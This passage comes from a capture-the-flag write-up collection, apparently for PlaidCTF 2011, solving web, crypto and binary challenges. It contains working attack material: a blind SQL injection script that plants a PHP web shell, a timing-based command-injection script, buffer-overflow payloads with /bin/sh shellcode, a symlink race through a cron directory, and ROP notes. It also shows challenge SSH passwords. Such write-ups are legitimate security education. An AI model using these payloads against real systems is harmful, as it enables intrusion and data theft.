,pos_char,1)) FROM information_schema.columns WHERE table_name="
authtable")),8,0),pos_bit,1)=1-- -’

15 # --> username,password,comment,id
16 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(GROUP_CONCAT(username,0

x3a,password,0x3a,comment,0x3a,id),pos_char,1)) FROM authtable))
,8,0),pos_bit,1)=1-- -’

17 # --> admin:::1
18 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(GROUP_CONCAT(grantee,0x3a

,privilege_type,0x3a,is_grantable),pos_char,1)) FROM
information_schema.user_privileges)),8,0),pos_bit,1)=1-- -’

19 # --> ’problem1’@’%’:FILE:NO
20

21 ## logging constants
22 LEVEL=logging.INFO
23 #~ LEVEL=logging.DEBUG
24 FORMAT=’%(asctime)s %(levelname)s: %(message)s’
25 DATEFMT=’%Y-%m-%d %H:%M:%S’
26

27 ## HTTP constants
28 HOST = ’a11.club.cc.cmu.edu:32065’
29 URL = ’/problem1.php?p=pages/index’
30 HEADERS = {’Content-type’: ’application/x-www-form-urlencoded’, ’Accept’: ’text/

plain’}
31 FILTER = ’Welcome’
32

33 logging.basicConfig(level=LEVEL,format=FORMAT,datefmt=DATEFMT)
34

35 logging.info("Initialisation...")
36 SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(LOAD_FILE(0

x2f7661722f7777772f70726f626c656d312e706870),pos_char,1)))),8,0),pos_bit,1)
=1-- -’

37 finalSQLi = ’ UNION SELECT 1,2,3,"<?php system($_GET[\’CoP\’]); ?>" INTO OUTFILE
"/tmp/pagespwned.php’

38

39 def extract():
40 result = ’’
41 for cpt_char in range(1,1024):
42 data = 0
43 for cpt_bit in range(1,9):
44 fu = httplib.HTTPConnection(HOST)
45 POST_SQLi = SQLi.replace("pos_char",str(cpt_char)).replace("pos_bit",

str(cpt_bit))
46 PARAMS = urllib.urlencode({’username’:POST_SQLi, ’password’:’17’, ’

submit’:’Envoyer’})
47 fu.request(’POST’, URL, PARAMS, HEADERS)
48 response = fu.getresponse()
49 if response.read().find(FILTER) != -1:
50 data = (data << 1) + 1
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51 print "0 pour la position " + str(cpt_bit)
52 else:
53 data = (data << 1) + 0
54 print "1 pour la position " + str(cpt_bit)
55 print chr(data)
56 result = result + chr(data)
57 logging.info(result)
58

59 def inject():
60 fu = httplib.HTTPConnection(HOST)
61 PARAMS = urllib.urlencode({’username’:finalSQLi, ’password’:’17’, ’submit’:’

Envoyer’})
62 fu.request(’POST’, URL, PARAMS, HEADERS)
63 response = fu.getresponse()
64

65 def usage():
66 print ’Usage: python %s mode(extract/inject)’ % (sys.argv[0])
67 sys.exit(2)
68

69 if len(sys.argv) != 2:
70 usage()
71

72 if sys.argv[1] == ’extract’:
73 extract()
74 elif sys.argv[1] == ’inject’:
75 inject()
76 else:
77 usage()

Solution:IAMAMYSQLBITCH!!

3.3 Plain sight

The time to strike is now! This fiendish AED employee decided to hide secret data on
this website.It seems that the employee was in the middle of creating the website when our
operatives stumbled upon it.The good news is that there are surely bugs in the development
version of this problem, the bad news is currently no feedback printed to users.Some of our leet
operatives have determined a little bit about the machine: it runs in a read-only environment
with onlybash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar
tr true tsort ul wc yesinstalled.

Find what AED is hiding, good luck and godspeed.

First we know that the environment is read-only and that we have a very limited set of com-
mands available.
We can send commands on the URL like this:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls
But the page remains blank. We are blind on this one :(
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No problem, we have the sleep command:
time wget -q -O /dev/null "http://a4.amalgamated.biz/cgi-bin/chroot.cgi?sleep 5"
real 0m5.714s
user 0m0.010s
sys 0m0.000

Let’s try to find useful commands to have a shell.
We can use sleep to get results. We can use hd or od to dump files or stdout.
Commands tail and head will help too.

So here is the idea. Execute commands and get their result by dumping them with hd, byte
by byte, and sleeping the number of seconds required to measure it on the client side.
If we sleep 0-255, it will be slow as hell, so we can split bytes to hex nibbles, binary bits,
decimal digits or octal digits.
Hex nibbles were not easy to transform to number of seconds (because of characters A-F) and
each character would require a maximum of 2x16 = 32 seconds to display.
Decimal would require 2 + 9 + 9 = 21 seconds to display, octal would be 3 + 7 + 7 = 17 seconds
while binary would be 8 seconds.

I chose octal, even if it’s slower than binary, because timing errors would (hopefully) occur
less often and would be much easier to correct.
So I read the hd manual page and found the desired option to dump an arbirary character at
offset $offset in a string as octal:
hd -b -n 1 -s $offset

The problem is hd outputs garbage:

1 echo hello | hd -b -n 1 -s 1
2 00000001 65 |e|
3 0000001 145
4 0000002

So let’s filter it with some shell magic:

1 offset=1
2 echo hello | hd -b -n 1 -s $offset | head -n 2 | tail -n 1 | while read a b; do

echo $b; done
3 145

OK we’re good for a character, buty we don’t want to sleep 145 seconds, do we ?
Let’s pass it through another hd filter to get each digit:

1 offset=1
2 digit=2
3 echo hello | hd -b -n 1 -s 1 | head -n 2 | tail -n 1 | while read a b; do echo $b

; done | hd -c -n 1 -s $digit | head -n 2 | tail -n 1 | while read a b; do
echo \$b; done

4 4

Now we have the digit, we can sleep 4 seconds with:
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1 sleep $(echo hello | hd -b -n 1 -s 1 | head -n 2 | tail -n 1 | while read a b; do
echo $b; done | hd -c -n 1 -s $digit | head -n 2 | tail -n 1 | while read a

b; do echo \$b; done)

Let’s create a script to do that automatically in the request, accepting a command as first
argument and displaying the result:

1 cmd="$1"
2 offset=0
3 while :; do
4 for digit in 0 1 2; do
5 cmdexec="s=\$($cmd | hd -b -n 1 -s $offset | head -n 2 | tail -n 1 | while

read a b; do echo \$b; done | hd -c -n 1 -s $digit | head -n 2 | tail
-n 1 | while read a b; do echo \$b; done); sleep \$s;"

6 wget -q "http://a4.amalgamated.biz/cgi-bin/chroot.cgi?$cmdexec" -O /dev/
null

7 done
8 offset=$(( $offset + 1 ))
9 done

We now have our loops to scan command results, but we need to get it back in a displayable
form. We’ll measure the time between the start and the end of the request.

1 function now() {
2 date +"%s"
3 }
4

5 start="$(now)"; wget -q "http://a4.amalgamated.biz/cgi-bin/chroot.cgi?sleep 1" -O
/dev/null; echo result=$(( $(now) - $start ))

6 result=1

Running it several times, we can see that we get errors (result=2) due to network latency. I tried
to address this problem by multiplying by 2 and adding 2 seconds.

1 start="$(now)"; wget -q "http://a4.amalgamated.biz/cgi-bin/chroot.cgi?sleep 4" -O
/dev/null; echo result=$(( ( $(now) - $start ) / 2 - 2 ))

2 result=1

The result is much more reliable.
I can now get octal digits this way (in $bytes), and I need to reassemble them to show the
character. I use python for this:

1 byte=145
2 python -c "import sys; sys.stdout.write(chr(0$byte))"
3 e

Now let’s pack it up and check what we need to find. Here is the final script I used:

1 #!/bin/bash
2

3 # Available commands: bash cat dc expand grep hd head id less ls
more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc
yes
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4

5 function now () {
6 date +"%s"
7 }
8

9 cmd="$1"
10 offset=0
11 byte=
12 # when $byte == "000", it’s the end my friend
13 while [ "$byte" != "000" ]; do
14 byte=
15 for digit in 0 1 2; do
16 cmdexec="s=\$($cmd | hd -b -n 1 -s $offset | head -n 2 | tail -n 1 |

while read a b; do echo \$b; done | hd -c -n 1 -s $digit | head -n 2
| tail -n 1 | while read a b; do echo \$b; done); sleep \$s; sleep \
$s; sleep 2"

17 start="$(now)"
18 wget -q -O /dev/null "http://a4.amalgamated.biz/cgi-bin/chroot.cgi?

$cmdexec"
19 byte="$byte$(( ( $(now) - $start - 2 ) / 2 ))"
20 done
21 python -c "import sys; sys.stdout.write(chr(0$byte))" | tee -a log
22 offset=$(( $offset + 1 ))
23 done
24 echo

My script is called web200.sh, let’s try it (be patient, it’s slow):

1 ./web200.sh pwd
2 /
3

4 ./web200.sh ls
5 bin
6 home
7 keyfolder
8 lib
9 ljb64

10

11 (Note there was a transmission error on lib64)
12

13 ./web200.sh ls /keyfolder
14 key
15

16 ./web200.sh cat /keyfolder/key
17 esc4p3_str1n5

You may have to run the commands several times to get accurate results. I personnaly ran
several instances at the same time in different shells.
Solution:esc4p3_str1n5
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4 Crypto

4.1 Hot dog problem
The binary use the Mersenne twister PRNG to create AES keys and IV. You can generate
random keys or request the private key wich will be encrypted with CBC AES and sent to you
with the IV and with the AES key encrypted with the admin RSA public key.

According to the creator, the challenge should have been breaked by using the fact that
Mersenne twister is reverseable (http://blog.xyrka.com/?p=24) and by generating suffi-
cient "random" AES keys to have the entire Mersenne twister state but there is an other flaw
:)

Mersenne twister is initialized by using 4 real random bytes generated by openSSL, 32bit
value is short... really short ! A lot of protection have been breaked because of this (Armadillo
and Asprotect for example). To bruteforce this value all we have to do is to collect some couple
(IV, EncryptedKey) and then do a space-time tradeoff (because generating a key is much more
costly than comparing 2 IVs) when an IV generated by a DWORD d is equal to one of the
stored IV, then the first generated 32 bytes give us the AES key. With only 16 IVs, we get the
key in 300-400 seconds on an old PC.

Here is the code (the seed is set to the good value and only the cypher text corresponding
to the found IV is given) the mersenne twister code was ripped with hexray to be sure it is the
same.

1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <windows.h>
4 #include <openssl/evp.h>
5 #include <openssl/aes.h>
6

7 DWORD rand_ctxt[0x273];
8 DWORD dword_199C[2] = {0,0x9908B0DF};
9

10 void genContext(DWORD seed)
11 {
12 DWORD i;
13 rand_ctxt[0] = seed;
14

15 for ( i = 1; i <= 0x26F; ++i )
16 rand_ctxt[i] = i + 1812433253 * (rand_ctxt[i - 1] ^ (rand_ctxt[i - 1] >>

30));
17 rand_ctxt[624] = 0;
18 rand_ctxt[625] = 0;
19 }
20

21 int __cdecl sub_F5A(DWORD *rand_ctxt)
22 {
23 int result; // eax@2
24 unsigned int v2; // ST10_4@2
25 unsigned int i; // [sp+Ch] [bp-10h]@1
26
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27 for ( i = 0; i <= 0x26F; ++i )
28 {
29 v2 = (rand_ctxt[i] & 0x80000000) + (rand_ctxt[(i + 1) % 0x270] & 0

x7FFFFFFF);
30 result = (int)rand_ctxt;
31 rand_ctxt[i] = dword_199C[v2 & 1] ^ rand_ctxt[(i + 397) % 0x270] ^ (v2 >>

1);
32 }
33 return result;
34 }
35

36

37 int randbytes(DWORD *rand_ctxt, unsigned char*rand_bytes, int len)
38 {
39 unsigned int v3; // ST14_4@5
40 unsigned int v4; // ST14_4@5
41 unsigned int v6; // [sp+10h] [bp-10h]@1
42

43 v6 = 0;
44 while ( len )
45 {
46 if ( !rand_ctxt[625] )
47 {
48 if ( !rand_ctxt[624] )
49 sub_F5A(rand_ctxt);
50 v3 = rand_ctxt[rand_ctxt[624]];
51 v4 = (((v3 >> 11) ^ v3) << 7) & 0x9D2C5680 ^ (v3 >> 11) ^ v3;
52 rand_ctxt[626] = (((v4 << 15) & 0xEFC60000 ^ (unsigned int)v4) >> 18)

^ (v4 << 15) & 0xEFC60000 ^ v4;
53 rand_ctxt[624] = (rand_ctxt[624] + 1) % 0x270u;
54 }
55 rand_bytes[v6++] = (unsigned char)(rand_ctxt[626] >> (rand_ctxt[625] & 0

xFF));
56 rand_ctxt[625] = (*((BYTE *)rand_ctxt + 2500) + 8) & 0x1F;
57 --len;
58 }
59 return v6;
60 }
61

62 char* ivs[] = {"\xC7\x38\x23\x76\xD2\x6F\x57\xC2\x65\x52\xD4\x81\x0E\xBF\x13\x1F"
,

63 "\x66\xBA\xE3\xB5\xFA\x70\x0B\x63\x79\x7A\x79\x8C\xC5\xFF\xE9\xC8",
64 "\x34\x76\xAA\x4B\xDF\x82\x3D\x89\x37\x35\x20\x77\x64\x4F\xE4\xF3",
65 "\x62\xE5\x21\xFE\xB5\xFD\x1B\xFF\xBE\x92\x55\xE7\xA2\xD6\xFB\x83",
66 "\x95\xAC\x94\x6F\x2B\x87\x81\x45\x85\xF5\x43\xCC\xA3\x55\xC2\x01",
67 "\xF7\x60\x70\xD5\x04\x73\x8E\xDF\x20\xAA\x49\xD3\xF5\x7F\x92\xD8",
68 "\x6D\x2E\xF2\xD0\x30\x33\x93\xE8\xF8\x48\x06\x00\x97\x4E\xA3\x6F",
69 "\x31\x7D\x8C\x69\x65\x9B\x36\x4D\x96\xA4\xFF\x9F\xED\x3D\xE6\xA0",
70 "\x09\xA6\xC5\xE5\xB1\xD6\xCC\x3F\x7A\x08\x02\xE0\x14\x57\xD7\x0A",
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71 "\xED\xF1\x2F\x3C\xCD\x00\x77\x28\xA6\xD5\x29\x4B\x77\x74\x1C\xDA",
72 "\xBB\xAE\x20\x92\x32\x78\x93\x16\xA4\x01\xFE\xB3\x58\xD3\x35\x8C",
73 "\x69\xF7\x40\xBB\xAC\x78\xE9\x81\xC7\x5B\x61\xC9\x04\xDF\xA4\x14"
74 "\xDD\x1C\x42\x0D\xDA\x90\xBB\x6A\xDC\x7C\x9B\x5E\xEF\x53\xB9\x5B",
75 "\x53\xCA\xD4\xD4\xEE\x70\x8F\x07\x5F\xD8\x77\x46\x62\xDB\x41\xA7",
76 "\x5B\xDA\xB1\x87\xF4\x56\x1E\xB8\x83\x62\x8E\x4E\xFD\x8B\x85\xDF",
77 "\x27\xAF\x86\x3D\xB4\xB0\x0E\xAF\xCA\x45\xB4\x8C\x86\x2B\xEF\xFC",
78 "\xB6\x60\xA0\xD6\xDC\x41\xC1\xA8\x05\x28\x10\x60\x22\x71\x48\x36"
79 };
80

81 int main()
82 {
83 DWORD seed = 0x01FAC56D;
84 unsigned char key[32];
85 unsigned char iv[16];
86 int i;
87 EVP_CIPHER_CTX de_ctx;
88 char* ciphertext = "\x43\x75\x66\x60\x1D\x10\xD1\xAD\x7A\x37\x7D\x3B\xEF\x68\

x42\x64\x9E\xE0\x3F\xEA\xAF\x73\x21\x03\xD9\xF8\x29\x78\x4A\x79\x72\x74\
x7C\x11\x0C\xE7\xDC\x58\x39\x7B\x03\x6D\xCC\x90\xDB\x9D\x41\x65\x52\x83\
xCE\x36\x54\x9F\xAD\x93\xFB\x42\x0C\xAB\xE4\x24\x56\x86\xAB\xBF\x5C\xFB\
x07\x24\x3F\xBA\x08\x0C\x97\xE1\xF9\x12\x71\x57\x40\x33\xDF\x32\xC7\xDE\
xFF\x11\xF1\x44\x1B\x5C\x7C\x55\x22\xB6\xEE\x60\xB1\x28\xD4\x59\x55\xCB\
x63\x0A\x44\x80\xCE\x7E\xA5\x77\x2E\x59\xBF\xDB\x1E\x2E\xE8\x9E\xD2\x11\
x83\x8E\xFC\x66\xFB\xE8\x03\x59\x16\xCF\x8D\xCF\x88\x6F\xF1\x3C\x58\x93\
x93\x72\x22\x86\xE5\x55\x13\x28\x82\x16\x77\xF7\xE4\x92\x4A\x7F\xB5\xD1\
x91\x27\x3C\x55\x11\xDF\x44\x64\xD2\xAB\x61\xBF\x51\xAD\x58\x00\x8E\xF3\
x7F\xF3\x92\x63\xB8\x4F\x6F\xF9\xF1\x67\xF3\xA2\xAA\x5F\x62\x21\x35\xAE\
x09\x68\x38\xDF\x2A\xB9\xFE\xE0\xE1\xB1\x95\x0E\x47\xC7\xEA\xBD\x4F\x66\
x99\xC5\xB5\x98\x3D\x2F\x61\x60\xCB\x27\xB2\xB4\x9A\x9C\xCC\x10\xF5\xAE\
x7F\x33\x40\x3B\xA1\x93\x9C\x49\x9F\x75\xE2\xC7\x20\x01\x8B\x3A\x58\x74\
x97\x30\x85\x8E\xCB\x6E\x45\xF9\x9B\xB7\x2B\x4D\x76\xCA\x4F\x7C\x6E\x25\
xD3\xA5\x09\xDD\xA8\xEB\x09\x49\x28\x2B\xE2\x0C\x81\xE5\x06\xD2\xFB\xBF\
x26\xF1\x53\x84\xB0\xCE\x7F\xEE\xAF\xE2\xDE\xE6\x49\xD5\xA7\xB7\xBE\x83\
x58\xEF\xAB\x69\x72\x49\x61\x92\x99\xBD\xE6\xAB\x10\xA2\x79\x68\xE2\xB6\
x1E\x05\x20\xF7\xA1\x3A\x0C\x03\x27\x22\xA0\x4B\xBF\x3B\x54\x85\x14\x3F\
xD5\x7A\xD3\xD7\xA0\xC9\x15\x31\x5D\x54\xC7\xE3\xA0\xFD\xDA\x33\x72\xF7\
x39\x0B\xAF\xD3\xB0\xE1\xF3\x1C\x57\x9B\x46\xD9\xBE\x25\x47\xC7\x55\xD8\
xE6\x47\xE9\x12\x00\x75\x9C\x6E\xBB\x18\x3C\x5A\x2F\x72\x20\xB1\x46\xF7\
x38\x0E\x1F\x98\x04\xA0\x75\xB9\x48\x3D\xCE\xA4\xDA\xED\xA0\x26\xE2\xA1\
xFC\x34\x80\x6C\xE3\xCD\x3F\x84\x8E\x07\x7E\x1F\x8F\xCC\x71\x4C\xE0\x80\
xA8\xAE\x2B\x80\x4A\x93\xD0\x3F\xB4\x4C\xCF\x81\x39\x6F\xC6\xDE\x52\x40\
x1A\x67\xEC\x33\x7C\x64\xCC\xBA\x9E\x0A\xE0\x63\x23\x5F\x62\x47\xB6\xD1\
xBF\x4E\xE3\xFA\x83\x19\xE6\x8F\xC4\x7D\x04\x06\x86\x84\xED\xAE\x6E\x15\
xE6\x37\x5C\x36\xD9\xE2\x9A\x63\xB7\x4C\x4B\xF5\x1B\x40\xA3\xEA\x51\x16\
xAF\x76\xE1\xBE\xE9\x1C\x5B\x51\x11\xE8\xC0\xCA\xB6\x9A\x61\x47\xDC\x83\
x34\x5D\x87\xB4\xB4\x3C\x82\xB8\xDB\x01";

89 int p_len = 528, f_len = 0;
90 char plaintext[528];
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91

92

93 do
94 {
95 genContext(seed);
96 randbytes(rand_ctxt, key, 32);
97 randbytes(rand_ctxt, iv, 16);
98 for (i = 0; i < 16; i++)
99 if (memcmp(iv, ivs[i], 16) == 0)

100 {
101 EVP_CIPHER_CTX_init(&de_ctx);
102 EVP_DecryptInit_ex(&de_ctx, EVP_aes_256_cbc(), NULL, key, iv);
103 EVP_DecryptUpdate(&de_ctx, plaintext, &p_len, ciphertext, 528);
104 EVP_DecryptFinal_ex(&de_ctx, plaintext+p_len, &f_len);
105 plaintext[f_len+p_len] = 0;
106 printf(plaintext);
107 return 0;
108 }
109 seed ++;
110 }
111 while (seed);
112 printf("FAIL :’(\n");
113 return 1;
114 }

This give us :

The key is the sha1sum of this file:

===================================
CONFIDENTIAL

===================================

.-=-. __
, / \ \ ||||
\\\\ |O___O | | \\||||
\ // | \_/ | | \ /
’-=/----/| / | |-’

// // / -----’
// \\ / /
// // / /
// \\ / /

// // / /
/| ’ / /
//\___/ /
// ||\ /
\\_ || ’-=-’
/’ / \\_.-
/ / -=| |
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’-’ | |
’-’

Solution:b6da23962d1cb16b06e8aff36cae39858fb708b6

5 Pwnables

5.1 ExploitMe :p
It seems like AED also has some plans to raise hacker force! We found this binary as an
exploitation practice program in the office, but they forgot to remove the setgid flag on the
program. So we can get the secret key!

1 ssh username@a5.amalgamated.biz

Try dump stuff :

1 (gdb) r 1 1 1
2

3 [...]
4

5 Program received signal SIGSEGV, Segmentation fault.
6 0x080485b2 in ?? ()

Great, but what happens?

1 (gdb) i r
2 eax 0x1 1 <<<<<<<<
3 ecx 0xbf82eaf0 -1081939216
4 edx 0x1 1 <<<<<<<<
5 ebx 0x1 1 <<<<<<<<
6 esp 0xbf82eae0 0xbf82eae0
7 ebp 0xbf82eb78 0xbf82eb78
8 esi 0x8048610 134514192
9 edi 0x8048450 134513744

10 eip 0x80485b2 0x80485b2 <exit@plt+382>
11 eflags 0x10202 [ IF RF ]
12 cs 0x73 115
13 ss 0x7b 123
14 ds 0x7b 123
15 es 0x7b 123
16 fs 0x0 0
17 gs 0x33 51
18

19 (gdb) set disassembly-flavor intel
20 (gdb) x/i $eip
21 0x80485b2 <exit@plt+382>: mov DWORD PTR [eax],edx

Four bytes write!!
Here’s the specific snippet:
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1 int main(signed int argc, char ** argv)
2 {
3 int arg2; // ebx@4
4 int arg1; // eax@4
5

6 if ( argc <= 3 )
7 {
8 puts("Regards, Dolan :} ");
9 exit(-1);

10 }
11 arg2 = atoi(argv[3]);
12 arg1 = atoll(argv[2]);
13 vuln(argv[1], arg1, arg2);
14 return 0;
15 }
16

17 //----- (08048575) --------------------------------------------------------
18 void vuln(char * arg_source, int arg2, size_t arg_length)
19 {
20 char dest; // [sp+10h] [bp-5Ch]@2
21 size_t v4; // [sp+50h] [bp-1Ch]@2
22

23 if ( arg_length <= 0x47 )
24 {
25 v4 = arg_length;
26 strncpy(&dest, arg_source, arg_length);
27 if ( v4 )
28 *(_DWORD *)v4 = arg2;
29 exit(0);
30 }
31 }

1 *(_DWORD *)v4 = arg2; == mov DWORD PTR [eax],edx

Argv[2] contains then the value to write, and we can overflow v4 value using strncpy(„71)
because dest can contain only 64 values:

0x5C - 0x1C = 0x40 = 64 base 10
Let’s try something smarter:

1 (gdb) r ‘python -c ’print "A"*64+"BBBB"’‘ 1128481603 71
2

3 Program received signal SIGSEGV, Segmentation fault.
4 0x080485b2 in ?? ()
5 (gdb) i r
6 eax 0x42424242 1111638594
7 ecx 0xbf879464 -1081633692
8 edx 0x43434343 1128481603

Perfect, we can write argv[2] to the address at argv[1]+64.
We will rewrite directly the .got section of exit:
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1 (gdb) maintenance info sections
2 ...
3 0x080497c4->0x080497c8 at 0x000007c4: .got ALLOC LOAD DATA HAS_CONTENTS
4 ...
5

6 (gdb) x/x 0x080497c4+0x30
7 0x80497f4: 0x0804843a
8

9 (gdb) x/i 0x0804843a
10 0x804843a <exit@plt+6>: push 0x40
11

12

13 exit_got = 0x80497f4

Since stack is executable, let’s store our shellcode in env and bruteforce an address in our
nop sled:

1 while :; do env -i "S=$(python -c ’print "\x90"*20000+"\x6a\x0b\x58\x99\x52\x68\
x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"’)" ./
exploitMe $(python -c ’from struct import pack;print "A"*64+pack("<I",0
x80497f4)’) $[0xbffcf1be] $[71]; done

Solution:K3Ys_t0_15_M1nUtEs_0f_F4mE

5.2 A small bug
Original HTML version : http://blog.stalkr.net/2011/04/pctf-2011-18-small-bug.
html

Get access to the key using /opt/pctf/z1/exploitme.

1 ssh z1_16@a5.amalgamated.biz # NLD59WeaNKCgKPfVuaIA5BNtBzRrEBN

Analysis

Connect to the server and see not only the regular setgid program to exploit but also a directory
where program gid can write:

1 z1_16@a5:~$ ls -l /opt/pctf/z1*
2 /opt/pctf/z1:
3 total 16
4 -rwxr-sr-x 1 root z1key 15116 Apr 20 20:26 exploitme
5

6 /opt/pctf/z1key:
7 total 28
8 drwxrwx--- 2 root z1key 20480 Apr 27 11:09 cron.d
9 -rw-r----- 1 root z1key 30 Feb 5 12:09 key

10 -rw-r--r-- 1 root root 105 Apr 22 18:33 README
11

12 z1_16@a5:~$ cat /opt/pctf/z1key/README
13 All scripts in cron.d will be executed, then deleted once a minute. A script’s

filename ends with ‘.sh‘.
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So if we achieve to write a file.sh in this directory using setgid program privileges, we win!

Reversing the main function of the program gives:

decompilation by IDA Pro with Hex-Rays

The program basically takes a string as first argument and:

1. obtains a temporary file
2. writes the string in it and unlinks it
3. profiles functions enter and exit

Obtain a temporary file

It first uses tempnam libc function to obtain a random file in /tmp. Note that the manual ex-
plicitely warns on race conditions using this function ;) Correct way of dealing with temporary
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file creation is to use mkstemp, which opens the file for you (race-free) and returns the file
descriptor.

Then it checks that this file does not exist using stat system call, and finally prints the tem-
porary file on stderr (fd 2) before returning.

Write string and unlink

Simple fopen/fputs/fclose and unlink.

Remember that unlink - by definition - does not follow symlinks.

Profiling

The enter profiling function prints on standard output (fd 1) that it is entering a function starting
at address X. I do not show the exit profiling function because it does nothing at all.

TOCCTOU

There is an obvious Time-of-check-to-time-of-use (TOCCTOU) bug between:

* the moment the program computes a random temporary filename with get_temp, checks
that it does not exist

* and the moment the program opens this file in order to write something in it with write_and_unlink

Hopefully, the program gives us (on stderr) the random filename it has computed. To win
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this race reliably, we would like to be able to stop program execution between these two mo-
ments.

Exploitation

Some readers might remember my post about exec race condition exploitations. In this par-
ticular case, we are going to use technique #2 to make program block by connecting program’s
stdout or stderr to a filled blocking pipe. The principle is that, when the other end wants to
write on it, its write system call will be blocking (and so program frozen) until there is room in
the pipe (that is, until the other end reads from it).

If we connect the filled blocking pipe to stderr, there’s a problem: we also want to read the
random filename from stderr. And as soon as we read the filename the program continues its
execution.

Solution: profiling functions! They write on stdout, so we can simply connect program’s stdout
to an almost-filled pipe that will get program to block at the right moment.

Dividead’s blog post Blocking between execution and main() includes a very good piece of
code with blocking pipes that we can reuse for this exploit (and so I did). Thanks dividead!

Full exploit here: http://stalkr.net/files/pctf/2011/18_asmallbug/exploit.c.html

Exploitation:

1 z1_16@a5:~$ ./exploit
2 Usage: ./exploit <exploitme> <string> <symlink>
3

4 z1_16@a5:~$ touch /tmp/stalkr; chmod go-rx,a+w /tmp/stalkr; ls -l /tmp/stalkr
5 -rw--w--w- 1 z1_16 z1users 0 Apr 23 16:15 /tmp/stalkr
6 # we don’t want our flag to be stolen ;)
7

8 z1_16@a5:~$ ./exploit /opt/pctf/z1/exploitme ’cat /opt/pctf/z1key/key >/tmp/
stalkr’ /opt/pctf/z1key/cron.d/stalkr.sh

9 Symlink /tmp/chal_irpdv9 -> /opt/pctf/z1key/cron.d/stalkr.sh created
10

11 z1_16@a5:~$ date
12 Sat Apr 23 16:16:02 EDT 2011
13

14 z1_16@a5:~$ cat /tmp/stalkr
15 This is the key: FUCKALLOFYOU
16

17 z1_16@a5:~$ rm -f /tmp/stalkr

Race won reliably ø/
Solution:FUCKALLOFYOU
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5.3 Another small bug
Original HTML version : http://blog.stalkr.net/2011/04/pctf-2011-19-another-small-bug.
html

This time, let’s attack /opt/pctf/z2/exploitme.

1 ssh z2_16@a5.amalgamated.biz # Q7044oQfwTHFIf8x92VtcQ75

Analysis

Reversing the binary tells you that:

* it takes a number as first argument, converted using strtoul

* it reads input on stdin with fgets_unlocked, size being the previous number

* input is stored in a stack buffer

decompilation by IDA Pro with Hex-Rays

Let’s try quickly with gdb:

1 gdb$ r 2048 < <(python -c ’from struct import pack;
2 print "A"*532+pack("<I",0xdeadbeef)’)
3 AAAAA[...]
4 Program received signal SIGSEGV, Segmentation fault.
5 0xdeadbeef in ?? ()

Win!

But there was a check?
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Well, you may argue it should not work because there is a check on size >= 512. However,
if you read attentively, it only exits if log_error succeeds.

log_error fails if it cannot open (or create since it’s "a" mode) the log file. But hold on:

1 z2_16@a5:~$ ls -l /home/z2/logs/
2 ls: cannot access /home/z2/logs/: No such file or directory

Not sure if it was intended :) but it explains why the previous check on user-supplied size pa-
rameter does not stop the program.

It the file existed and was readable, then fopen call would not have failed. To make it fail,
we could have used setrlimit with RLIMIT_NOFILE (or simply bash’s ulimit -n) to restrict the
maximum number of opened file descriptors. For the notice, it also explains why the binary
is statically compiled (see just below). Indeed, if dynamically linked, the loader would fail
loading libraries, and exploit writer surely did not want that. ;)

Exploitation
Interestingly, the binary is statically compiled:

1 $ file exploitme
2 exploitme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically

linked, not stripped

It means that libc functions are present in the binary, like... mmap!
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How good is that? Well, we can simply return to mmap asking for an rwx area, copy a shell-
code in it, and return to it! Straightforward ROP, similar to my Shmoocon’s CTF warm-up
alternative solution (exploit).

I used a bunch of gadgets to copy the shellcode byte per byte with a wrapper since we were
not limited in payload size. One could use alternatively use recv to directly receive a shellcode
from stdin or else.

Full exploit here: http://stalkr.net/files/pctf/2011/19_anothersmallbug/exploit.
py.html

Just run it with cat to keep stdin opened:

1 $ { python exploit.py; cat; } |/opt/pctf/z2/exploitme 1300
2 AAAAA[...]
3 id
4 uid=2015(z2\_16) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)

ROP is fun!

5.4 C++5x
AED decided to use C++ to develop their internal tools. However, they seem to make a mistake
one of their new C++ programs.
Exploit and get the key!
ssh username@a5.amalgamated.biz

NX was not effectively enabled.

The binary was setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynami-
cally linked (uses shared libs), for GNU/Linux 2.6.8, stripped

Run it:

1 cpp1_16@a5:/opt/pctf/cpp1$ ./first_cpp $(python -c ’print "A"*64’) 13
2 Segmentation fault
3 0x080489b1 in ?? ()
4 (gdb) i r
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5 eax 0x41414141 1094795585
6 ecx 0x0 0
7 edx 0x0 0
8 ebx 0xb769fff4 -1217789964
9 esp 0xbfc4ca50 0xbfc4ca50

10 ebp 0xbfc4caa8 0xbfc4caa8
11 esi 0x0 0
12 edi 0x0 0
13 eip 0x80489b1 0x80489b1
14 eflags 0x210207 [ CF PF IF RF ID ]
15 cs 0x73 115
16 ss 0x7b 123
17 ds 0x7b 123
18 es 0x7b 123
19 fs 0x0 0
20 gs 0x33 51

See regs:

1 (gdb) x/10i $eip
2 0x80489b1: mov eax,DWORD PTR [eax]
3 0x80489b3: mov edx,DWORD PTR [eax]
4 0x80489b5: mov DWORD PTR [esp+0x4],0x8049dc0
5 0x80489bd: mov eax,DWORD PTR [ebp+0x8]
6 0x80489c0: mov DWORD PTR [esp],eax
7 0x80489c3: call edx <<<<<<<<<<

Vuln:

1 0x804899e: mov DWORD PTR [esp+0x4],eax
2 0x80489a2: mov DWORD PTR [esp],0x8049dc0 <<<< s
3 0x80489a9: call 0x804864c <memcpy@plt>

Exploit with:

1 $(python -c ’from struct import pack; print "AA"+pack("<I", 0x8049dd4)+pack("<I",
0xdeadbeef)+"A"*34+pack("<I", 0x8049dd0)’) 42

2 >> call deadbeef
3

4 $(python -c ’from struct import pack; print "AA"+pack("<I", 0x8049dd4)+pack("<I",
0x8049dd8)+"\xCC"*34+pack("<I", 0x8049dd0)’) 42

We got the sigtrap, just put a shellcode & done.

1 cpp1_16@a5:/opt/pctf/cpp1$ ./first_cpp $(python -c ’from struct import pack;
print "AA"+pack("<I", 0x8049dd4)+pack ("<I", 0x8049dd8)+"\x6a\x0b\x58\x99\x52
